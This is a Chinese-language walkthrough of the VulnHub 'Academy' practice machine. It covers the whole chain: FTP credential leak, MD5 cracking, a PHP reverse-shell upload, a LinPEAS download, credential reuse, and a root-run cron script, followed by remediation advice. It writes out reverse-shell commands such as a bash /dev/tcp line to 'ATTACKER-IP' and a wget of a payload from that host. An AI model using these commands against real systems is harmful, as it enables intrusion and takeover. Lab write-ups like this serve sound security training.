WNobsi/TCM-Academy-Machine-Walkthrough
GitHub: WNobsi/TCM-Academy-Machine-Walkthrough
一份涵盖完整渗透测试生命周期的 VulnHub Academy 靶机实战攻略文档,演示从侦察到提权的漏洞链式利用全过程。
Stars: 0 | Forks: 0
# Academy - TCM 靶机 walkthrough
```
### 发现
- 端口 80 (HTTP)
- Academy Web 应用程序
📸 **插入截图:** 主机发现和 Nmap 结果。
### 渗透测试员的观察
首要目标是了解暴露的攻击面。单个 Web 应用程序通常就能提供足够的机会来完全攻陷系统。
# 枚举
## Web 枚举
```
http://
```
📸 **插入截图:** Academy 主页。
## 目录枚举
```
gobuster dir \
-u http:// \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
```
暴露的有趣目录包含了一个 FTP 资源。
📸 **插入截图:** 目录枚举。
## FTP 信息泄露
发现的凭据:
```
Username: 10201321
Password: cd73502828457d15655bbd7a63fb0bc8
```
密码类似于哈希值,并被识别为:
```
student
```
最终凭据:
```
Username: 10201321
Password: student
```
📸 **插入截图:** 哈希识别。
### 渗透测试员的观察
每当凭据看起来像哈希值时,在假定它们是明文之前,务必尝试进行识别和破解。
# 初始漏洞利用
## 学生门户登录
```
Username: 10201321
Password: student
```
📸 **插入截图:** 成功登录。
## 文件上传功能
个人资料页面:
```
/my_profile.php
```
表明服务器运行着 PHP 并允许上传图片。
📸 **插入截图:** 上传功能。
### 渗透测试员的观察
文件上传功能是 Web 应用程序测试中价值最高的攻击向量之一,因为薄弱的验证机制可以迅速导致远程代码执行 (RCE)。
## 上传 PHP 反向 Shell
使用:
```
https://github.com/pentestmonkey/php-reverse-shell
```
修改:
```
$ip = 'ATTACKER-IP';
$port = 1234;
```
监听器:
```
nc -lvnp 1234
```
上传:
```
photo.php
```
📸 **插入截图:** 反向 Shell 上传。
## 获取远程代码执行
```
hostname
whoami
```
输出:
```
academy
www-data
```
📸 **插入截图:** 反向 Shell。
### 渗透测试员的观察
初始访问仅仅是开始。下一个目标始终是权限提升。
# 权限提升
## 使用 LinPEAS 进行本地枚举
```
python3 -m http.server 8000
wget http://ATTACKER-IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```
发现:
```
$mysql_user = "grimmie";
$mysql_password = "My_V3ryS3cur3_P4ss";
$mysql_database = "onlinecourse";
```
📸 **插入截图:** LinPEAS 发现。
### 渗透测试员的观察
配置文件通常包含凭据,在获取 shell 访问权限后应始终进行检查。
## 凭据重用
```
ssh grimmie@
```
密码:
```
My_V3ryS3cur3_P4ss
```
📸 **插入截图:** 作为 grimmie 进行 SSH 登录。
### 渗透测试员的观察
凭据重用是现实世界中最常见的弱点之一,并且经常被用于实现权限提升。
## 调查 Cron Jobs
在用户的主目录中发现了一个名为:
```
backup.sh
```
的文件。
使用 pspy 确认该脚本是由 root 执行的。
📸 **插入截图:** pspy 输出。
### 渗透测试员的观察
由 root 执行的可写脚本是极佳的权限提升机会。
## Cron 漏洞利用
追加:
```
bash -i >& /dev/tcp/ATTACKER-IP/8081 0>&1
```
启动监听器:
```
nc -nvlp 8081
```
靶机以 root 身份回连。
📸 **插入截图:** Root shell。
# Flag 捕获
```
whoami
cat /root/flag.txt
```
输出:
```
root
```
📸 **插入截图:** Flag 捕获。
# 漏洞评估
## 1. 通过 FTP 的信息泄露
- **严重程度:** 高
- **CVSS v3.1:** 7.5
### 影响
未经授权访问应用程序凭据。
### 修复建议
- 从公共位置移除敏感文件。
- 禁用匿名 FTP。
- 使用 ACL 限制访问。
**优先级:** P2
## 2. 弱密码存储 (MD5)
- **严重程度:** 高
- **CVSS v3.1:** 7.5
- **CWE-327**
- **CWE-759**
### 修复建议
- 使用 Argon2id、bcrypt 或 scrypt。
- 实施加盐。
- 强制执行强密码策略。
**优先级:** P2
## 3. 无限制的文件上传 (RCE)
- **严重程度:** 严重
- **CVSS v3.1:** 9.8
- **CWE-434**
### 修复建议
- 验证文件签名和 MIME 类型。
- 将上传内容存储在 Web 根目录之外。
- 禁用上传目录中的脚本执行。
- 实施允许列表。
**优先级:** P1
## 4. 凭据重用
- **严重程度:** 高
- **CVSS v3.1:** 8.8
- **CWE-798**
### 修复建议
- 分离应用程序和系统凭据。
- 定期轮换密码。
- 使用密钥管理。
**优先级:** P1
## 5. 配置文件中的明文凭据
- **严重程度:** 中
- **CVSS v3.1:** 6.5
- **CWE-256**
### 修复建议
- 将密钥存储在环境变量中。
- 限制文件权限。
- 使用密钥管理解决方案。
**优先级:** P3
## 6. 不安全的 Cron 权限
- **严重程度:** 严重
- **CVSS v3.1:** 9.8
- **CWE-732**
### 修复建议
```
chown root:root backup.sh
chmod 700 backup.sh
```
- 定期审计 cron jobs。
- 监控特权脚本的完整性。
**优先级:** P1
## 漏洞优先级矩阵
| 漏洞 | 严重程度 | 优先级 |
|--------------|-----------|-----------|
| 无限制的文件上传 | 严重 | P1 |
| 不安全的 Cron 权限 | 严重 | P1 |
| 凭据重用 | 高 | P1 |
| 信息泄露 | 高 | P2 |
| 弱密码存储 | 高 | P2 |
| 明文凭据 | 中 | P3 |
# 关键要点与经验教训
## 进攻经验
- 信息泄露可能导致系统被完全攻陷。
- 应始终测试文件上传功能。
- 配置文件经常暴露凭据。
- 凭据重用仍然极具危险性。
- 像 pspy 这样的进程监控工具非常宝贵。
## 防御经验
- 强制执行安全的密码存储。
- 验证文件上传。
- 分离凭据。
- 保护 cron jobs。
- 实施最小权限原则。
# 渗透测试员的最终观察
Academy 靶机完美地展示了漏洞链(组合利用)的概念。
没有任何单一的漏洞能直接导致 root 权限被攻陷。相反,是几个弱点结合在一起创造了一条完整的攻击路径:
```
Information Disclosure
↓
Weak Password Storage
↓
Remote Code Execution
↓
Credential Reuse
↓
Insecure Cron Permissions
↓
Root Compromise
```
在整个测试过程中,关键问题是:
**“这个新获取的信息允许我接下来做什么?”**
标签:CTI, VulnHub, 协议分析, 安全实战, 密码管理, 权限提升, 靶场攻防